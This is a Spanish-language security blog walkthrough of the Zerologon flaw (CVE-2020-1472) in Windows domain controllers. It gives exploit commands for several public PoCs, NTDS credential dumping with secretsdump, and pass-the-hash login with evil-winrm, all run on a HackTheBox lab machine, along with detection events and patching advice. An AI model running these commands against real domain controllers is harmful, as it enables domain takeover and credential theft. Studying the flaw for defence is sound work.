¡Buenas a todos!
En este artículo se mostrarán algunos detalles de la vulnerabilidad CVE-2020-1472 (Zerologon) de Microsoft que afecta directamente a los controladores de dominio y que fue anunciada durante el mes de Agosto de 2020 en su parche mensual. Recientemente la vulnerabilidad está apareciendo en los medios de comunicación y redes sociales por su facilidad a la hora de ser explotada, ya que un potencial atacante que tenga conectividad con el controlador de dominio podría hacerse administrador del mismo fácilmente.
El siguiente artículo se dividirá en distintas partes:
- Introducción: explicación breve de la vulnerabilidad.
- PoCs: recopilación de las distintas pruebas de concepto publicadas hasta la fecha y uso de una de ellas.
- Consideraciones: reflexiones sobre las implicaciones de utilizar esta vulnerabilidad durante una auditoría interna o red team.
- Mitigaciones: recomendaciones en cuanto a parcheo y detecciones.
Introducción
El 11 de Septiembre, investigadores de Secura publicaron un
análisis de una vulnerabilidad crítica llamada coloquialmente Zerologon. En este análisis se explica detalladamente como la vulnerabilidad fue encontrada abusando de un bug del protocolo Netlogon, donde se explica que la vulnerabilidad reside en sí en un uso inseguro del cifrado por bloques AES-CFB8. Esto permitiría a un atacante suplantar los mensajes de actualización de contraseñas a este servicio RPC, pero solo por una contraseña vacía.
¿Qué quiere decir esto? Que cualquier usuario de una red que sea capaz de alcanzar el controlador de dominio, es capaz de realizar este ataque, lo que permitiría a un potencial atacante cambiar la contraseña de máquina de un controlador de dominio. Una vez ejecutada esta vulnerabilidad con éxito, el atacante podría extraer con total facilidad el contenido de la base de datos NTDS del directorio activo que posee ese controlador de dominio. Esto implicaría que a partir de este momento, el atacante puede hacerse administrador del dominio con total libertad.
Sin embargo, esto no es indetectable, y obviamente cambiar la contraseña de una máquina controladora de dominio lleva consigo consecuencias y riesgos muy nefastos. A continuación, se listan una serie de pruebas de concepto publicadas por varios investigadores de seguridad del sector y que obviamente se recomienda evitar su uso fuera de un entorno de pruebas.
PoCs
Durante estos días se han publicado diversas pruebas de concepto para esta vulnerabilidad, estas pruebas de concepto no tienen una fiabilidad total, y siempre es recomendable su uso en entornos de laboratorio. (En este artículo no se cubrirá el uso de la herramienta Mimikatz para explotar la vulnerabilidad).
- Checker [Python]: Un script publicado por los propios investigadores de Secura para comprobar si el controlador de dominio es vulnerable al CVE.
- zer0dump [Python]: Una prueba de concepto que se encarga de explotar la vulnerabilidad y reparar la contraseña de máquina del controlador de dominio.
- dirkjanm-Exploit [Python]: La primera prueba de concepto funcional publicada tras la investigación de Secura.
- SharpZeroLogon [C#]: Prueba de concepto creada para ser usada directamente a través de la DLL netapi32 y con el objetivo de ser utilizado a través de Cobalt Strike.
- Invoke-Zerologon [Powershell]: PoC realizada por el equipo de BC-Security a partir del exploit publicado en C# por NCC Group.
Para las pruebas se ha utilizado la máquina retirada Forest de HackTheBox, ya que se trata de un entorno de pruebas bastante directo para este tipo de exploits y fácilmente reversible. Con el fin de facilitar la explotación de las PoCs se ha asignado el nombre forest.htb en /etc/hosts a la máquina.
Seguidamente suponiendo una instalación completa de la librería
impacket en su última versión, hacemos uso de los exploits escritos en Python con total libertad.
Checker
zerologon_tester.py FOREST forest.htb
En caso de que el controlador de dominio que intentemos atacar sea vulnerable a este CVE obtendremos una salida por pantalla de este tipo:
En este momento el atacante sabría que el controlador de dominio es vulnerable al CVE y procedería a su explotación.
zer0dump
zer0dump.py forest.htb -target_da Administrator -port 445 -target_machine FOREST
Una vez lanzado el comando donde se toma como objetivo el usuario administrador de dominio llamado Administrator se obtiene directamente su hash NTLM.
A partir de este momento, las posibilidades para un potencial atacante para ganar persistencia en el sistema y en la red son casi infinitas, tantas como su imaginación y TTPs puedan aportar. Un ejemplo básico para el uso de estas credenciales sería la ejecución de código a través de un consola obtenida por WinRM. Para ello se ha utilizado Evil-WinRM:
evil-winrm -i forest.htb -u Administrator –hash ‘32693b11e6aa90eb43d32c72a07ceea6’
dirkjanm-Exploit
cve-2020-1472-exploit.py FOREST forest.htb
En este caso el exploit se ha completado tal y como se explica en la investigación de Secura, estableciendo así la contraseña del usuario de máquina a una vacía. Para demostrarlo, vamos a realizar un volcado de la base de datos NTDS.dit del DC haciendo uso de la herramienta secretsdump:
secretsdump.py -just-dc -no-pass FOREST\[email protected]
En este momento podría procederse tal y como en el exploit anterior y realizar cualquiera de los muchos caminos para conseguir nuestro objetivo dentro del dominio.
SharpZeroLogon
./SharpZeroLogon.exe FOREST.htb.local -reset
Invoke-Zerologon
. ./Invoke-ZeroLogon.ps1; Invoke-ZeroLogon FOREST.htb.local 1
Ambas pruebas de concepto, tanto SharpZeroLogon como Invoke-ZeroLogon, necesitan resolver el FQDN del controlador de dominio para poder realizar correctamente el ataque, es por ello que se recomienda realizar desde una máquina que se encuentre unida al mismo dominio que el controlador.
Consideraciones
A partir de las pruebas de concepto publicadas es sencillo convertirse en administrador de dominio con tan solo unos pocos clics, sin embargo, las implicaciones que tiene utilizar este exploit en un entorno de producción son nefastas. Una vez cambiada la contraseña de la cuenta de máquina de un controlador de dominio, este pierde toda la confianza que tenía con los servidores a su alrededor, esto implicaría que los servidores no puedan autenticarse de nuevo contra el dominio.
Recientemente, el investigador
@_dirkjan publicó junto a su exploit un
hilo en Twitter explicando cuales serían algunas de las consecuencias del uso de este exploit en un entorno de producción. Recomendamos una lectura tranquila del propio hilo para su entendimiento, y desaconsejamos totalmente el uso del exploit fuera de un entorno no controlado.
Mitigaciones
La vulnerabilidad de Zerologon debe ser parcheada con la mayor brevedad posible. Sin embargo, no siempre es posible realizar este tipo de medidas inmediatamente, por ello, se recomienda
monitorizar las conexiones a los controladores de dominio, así como prestar especial atención a los eventos nativos de Windows Logs y Sysmon.
Si bien el objetivo de este artículo es detallar las distintas pruebas de concepto que se encuentran actualmente publicadas, se recomienda prestar atención a los siguientes eventos de Windows para detectar la vulnerabilidad:
- Event Code 5805: Ocurre cuando una máquina realiza una conexión fallida contra el controlador de dominio.
- Event Code 4624 + 4742: Un evento 4624 seguido de un 4742, esto quiere decir que se ha realizado un cambio de contraseña en la cuenta de máquina del controlador de dominio y que acto seguido se ha realizado un inicio de sesión «Anónimo».
De igual forma, se recuerda que el parche de esta vulnerabilidad se encuentra dividido en dos partes. Una primera parte en el parche de Agosto de 2020 y una segunda parte que aparecerá en Febrero 2021, para la aplicación del parche se recomienda seguir las indicaciones proporcionadas por Microsoft en el siguiente
enlace.
Cualquier comentario que se realice para corregir cualquier error de concepto sobre la vulnerabilidad o que pueda ayudar a su detección es bienvenido y se añadirá al contenido de este artículo.